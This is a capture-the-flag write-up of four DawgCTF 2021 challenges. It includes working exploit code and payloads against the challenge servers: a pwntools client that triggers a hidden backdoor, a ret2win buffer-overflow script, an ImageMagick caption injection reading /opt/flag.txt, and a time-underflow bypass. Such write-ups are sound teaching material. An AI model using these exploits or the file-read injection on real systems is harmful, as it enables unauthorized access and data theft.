I competed in DawgCTF with the Hack South CTF team on 8 May 2021. This is an 24-hour, entry-level CTF hosted by University of Maryland, Baltimore County’s CyberDawgs. We ended up placing 28th overall.

DawgCTF 2021 Result

Here are the write-ups for the four challenges I solved.

1. NSTFTP Reversing Challenge

Hey, I know it’s 6pm on Friday, but we have a quick request for you. The original author of this software was known to insert backdoors. We need you to find and trigger any backdoors in this software. Oh, and we lost our copy of the client. Hopefully this old pcap the network admin had laying around will be enough. It’s a pcap of someone connecting to the server and downloading files. You might be able to find the original binaries on that server somewhere. nstftp://umbccd.io:4300/ Author: chainsaw10

Process

On first inspection of the packet capture in Wireshark, I could see the client connecting to a server, receive a list of files, request a file and receiving the contents. The Blue parts in the screenshot are sent by the server, and the Red parts are sent by the client.

Wireshark ASCII dump

ASCII misses details because many characters are unprintable. The HEX view of the conversation shows every byte:

Wireshark HEX dump

To solve this challenge, I most likely need to reverse engineer the protocol and create my own client to send requests to the server. This requires some guessing/assumptions and testing.

Reversing the protocol

Assumption 1 The first byte of each message looks like it could be a message type.

Value Message Type
0x01 Server Banner
0x02 Client Identifier
0x03 Directory Listing Request
0x04 Directory Listing Response
0x05 File Contents Request
0x06 File Contents Response

Assumption 2 The second byte of each message looks like a total message length.

Byte counts

Assumption 3 After the byte containing the message size, there are 7 null bytes in all the sample messages. There is no way to know what this area is for. I just assumed they must always be null for now.

Assumption 4 Right after the 7 null bytes, there is a single byte containing the size of the rest of the message.

Data length

Putting it all together

Now that I thought I understand the protocol, it was finally time to write a client 😀. The send_message function takes the type and message and sends it to the server. Running below shows the server banner and the list of files.

Note that this quick and dirty code does not validate response lengths or clean unprintable bytes.

from pwn import *

def send_message(t, msg_type, message):
    size = len(message)
    buf = bytes([msg_type, size + 10])
    buf += b'\0' * 7
    buf += bytes([size])
    buf += message
    t.send(buf)

t = remote('umbccd.io', 4300)
res = t.recvuntil(b'NSTFTPv0.1')
print(res.decode())

send_message(t, 2, b'NSTFTP-client-go-dawgs')
send_message(t, 3, b'.')

res = t.recvuntil(b'\x0a' + b'\0' * 8)
print(res.decode())

There is a binary file called nsftp which is probably the application itself. Below code downloads the file. Again, I could verify lengths but who has time for that? I just assumed the whole file has downloaded once the server stops sending data for 2 seconds. I ran it twice and compared file hashes just in case.

send_message(t, 5, b'nstftp')

resp = t.recv(timeout=2)
with open('nsftp', 'wb') as f:
    # Ignore the first 17 preamble bytes
    f.write(resp[17:])
    # Receive until the server stops responding for 2s
    while len(resp) > 0:
        resp = t.recv(timeout=2)
        f.write(resp)

Reversing the NSTFTP service

I fired op Ghidra and loaded the binary. Symbols were stripped 😪… This meant original function names were lost, and more will is required to understand program flow.

After searching around for a while and adding names to functions and variables, I found some code that reads the FLAG environment variable and likely sends it to the caller. It was under a number of if statements which means I will likely need to align various pieces of application state to get the flag.

Ghidra Get Flag

I named this function get_flag_probably and checked where it is called from. There is a big switch statement calling code based on specific numbers. Values 0x03 and 0x05 look the same as the message types from before, so I can try to send 0x09 as the message type to get to the get_flag_probably function!

Ghidra Message Types

To test this theory, I ran the service locally and sent a request with message type 0x09. The standard output logs showed error code 42.

➜  NSTFTPwn ./nstftp
Listening on 0.0.0.0:1337
Accepted connection from 127.0.0.1:35714
Forked child pid 486626
[486626]: Talking to NSTFTP-client-go-dawgs
[486626]: Error disconnect, code 42
# Attempt 1
send_message(t, 9, b'Hi there!')
# Attempt 2
send_message(t, 9, b'UMBCDAWG')

Condition 1

One of the conditions showed that a value being compared to UMBCDAWG, so I used this text for the second attempt and saw a different error code 43.

Accepted connection from 127.0.0.1:35718
Forked child pid 487191
[487191]: Talking to NSTFTP-client-go-dawgs
[487191]: Error disconnect, code 43

I could see that error 43 was one step closer. There were two more conditions to satisfy to get to the code reading the flag value…

Ghidra Error Codes

Condition 2

The second condition checks that some memory address’ value is larger than 9.

if (9 < DAT_001060b0) {

Ghidra has great feature to find all references to a specified address. I used this to find other places using DAT_001060b0. The first two instances just read the value at that address and the third one was adding 0x01.

Ghidra Address Reference

It looked like the +1 happened every time the client requested something from the server. I repeated my request for the directory listing 9 times and saw a new error being logged by the local service, code 213. My code now looked like this:

t = remote('127.0.0.1', 1337)
res = t.recvuntil(b'NSTFTPv0.1')

send_message(t, 2, b'NSTFTP-client-go-dawgs')

for _ in range(9):
    send_message(t, 3, b'.')

send_message(t, 9, b'UMBCDAWG')

Condition 3

It took some time to figure out what the final condition was checking… It turned out that it was adding 4 to the sum of ordinal values from the provided client, “NSTFTP-client-go-dawgs”. The sum was only retaining one byte and ignoring overflow.

Ghidra Final Condition

I needed to provide a value that would make that final value equal 0x80. It seemed that providing a client name of | would do the trick!`

>> chr(0x80 - 4)
'|'

It was not to be 😥… Using the pipe character for the client name just resulted in an error code 3.

Solution

I suspected the length or some part of the client name was being validated and started playing with characters to get to a final sum of 0x80 by changing the last part. The value that worked was NSTFTP-client-go-dLWGs. It finally passed all the conditions and returned the flag to my custom client! 😀

NSTFTP Flag

Final code solution:

#!/usr/bin/env python3
from pwn import *

def send_message(t, msg_type, message):
    size = len(message)
    buf = bytes([msg_type, size + 10])
    buf += b'\0' * 7
    buf += bytes([size])
    buf += message
    t.send(buf)

t = remote('umbccd.io', 4300)
res = t.recvuntil(b'NSTFTPv0.1')

send_message(t, 2, b'NSTFTP-client-go-dLWGs')

for _ in range(9):
    send_message(t, 3, b'.')

send_message(t, 9, b'UMBCDAWG')

res = t.recv(timeout=2)
while len(res) > 0:
    print(res)
    res = t.recv(timeout=2)

2. MDL Considered Harmful PWN Challenge

There’s a bot named MDLChef in the Discord. You need to DM it, it doesn’t respond in the server. On its host machine, there’s a file at /opt/flag.txt - it contains the flag. Go get it. Note: This is NOT an OSINT challenge. The source code really isn’t available. Good luck. Author: nb

Process

The bot on Discord advertises three commands. Below shows the bot response when running each of them.

  • /help

This bot generates memes using MDL, the Meme Description Language. Here is an example of a valid MDL sample:

{
   version: "MDL/1.1",
   type: "meme",
   base: {
       format: "Meme.Matrix.WhatIfIToldYou"
   },
   caption: {
       topText: "what if i told you",
       bottomText: "you can code your memes"
   }
}

Just send a valid MDL snippet in the DM and the bot will automatically recognize it and respond.

  • /listmemes

Listing available memes…

Meme.DrakeYesNo
Meme.Legacy.BadLuckBrian
Meme.Matrix.RedPillBluePill
Meme.Spongebob.BarnacleBoySulphurVision
Meme.Matrix.WhatIfIToldYou
Meme.Schwarzenegger.EpicHandshake
Meme.UtopianWorld
  • /credits

Thank you to…

  • The Rust programming language
  • The Serenity Discord library
  • The ImageMagick caption command for meme generation

Note: The source code for this bot is NOT publicly available, due to the CyberDawgs’ extreme anti-open-source and pro-proprietary stance. We don’t NEED public auditing. All of the code in this bot is totally and completely secure.

Solution

This last message hints at a likely issue or escape for the ImageMagick caption command.

I read the ImageMagick documentation on caption and found text can be included from files using @. A few minutes of experimenting later, the following MDL printed the flag on the generated image:

{
    version: "MDL/1.1",
    type: "meme",
    base: {
        format: "Meme.Matrix.WhatIfIToldYou"
    },
    caption: {
        topText: "what if i told you",
        bottomText: "@/opt/flag.txt"
    }
}

Flag on the Meme

3. Bofit PWN Challenge

Bofit was a simple ret2win challenge with a slight twist.

Because Bop It is copyrighted, apparently nc umbccd.io 4100 Author: trashcanna

Process

Run checksec to see architecture and security measures on binary.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Open the binary with GDB and run info func to see function addresses. There is a function called win_game which I probably need to jump to to get the flag.

0x0000000000401256  win_game
0x00000000004012a9  play_game
0x000000000040141a  welcome
0x00000000004014b6  main

The application requests a random input of one character or a string where the buffer overflow occurs. To solve it, automate the character inputs until the overflow option becomes available. This happens on the Shout it prompt. Then send an overflow payload to set the return address to the win_game address. Once the current function completes, it will return to that function and get the flag.

from pwn import *

elf = ELF('./bofit')

def run_until_bof(t):
    while True:
        l = t.readline()
        if b'BOF it' in l:
            t.sendline(b'B')
        elif b'Pull it' in l:
            t.sendline(b'P')
        elif b'Twist it' in l:
            t.sendline(b'T')
        elif b'Shout it' in l:
            break

t = remote('umbccd.io', 4100)
t.recvuntil(b'start!\n')
t.sendline(b'B')

run_until_bof(t)

# 'haaaaaaa' found by sending a large pattern and trapping the error in GDB
offset = cyclic_find(b'haaaaaaa', n=8)
buf = offset * b'A' + p64(elf.symbols['win_game'])
t.sendline(buf)

t.recvline()
t.sendline('A')

t.interactive()

Running this gets the flag from the server.

➜  Bofit ./exploit.py
[+] Opening connection to umbccd.io on port 4100: Done
[*] Switching to interactive mode
DawgCTF{n3w_h1gh_sc0r3!!}
[*] Got EOF while reading in interactive

4. Back to the Lab 2 PWN Challenge

We installed this new HVAC system in the lab using NI instrumentation. Ooh, it’s internet-connected. Can you get the flag off of it? It requires “company technician access” but we managed to convince the company to give us some old source code, maybe you can find a workaround? nc umbcsad.crabdance.com 8000 back_to_the_lab_2.vi: https://drive.google.com/file/d/1Bu7xpMiGCEPONd7Hdl6BQL6JXqrFWE6i/view?usp=sharing Author: nb

Process

Open the vi file in LabVIEW Community. It shows a few interesting things:

  1. A TCP service accepting connections and then taking commands from the client.
  2. A get_flag command which only be run by a privileged user -or- when the system date is after 2030 👀
  3. A set_system_time command to set the system date.

Attempts to set the system time to large value gets blocked. Setting the system time to -1 works, and results in an underflow which sets the date to 2040.

Now the get_flag command returns the flag.

ncat umbcsad.crabdance.com 8000
Welcome. Type ? for help.
DAWG> set_system_time -1
Done. New system time is: "01:28 AM Mon, Feb 06, 2040"
DAWG> get_flag
DawgCTF{t1m3_b3ck0n1ng_m3}
DAWG>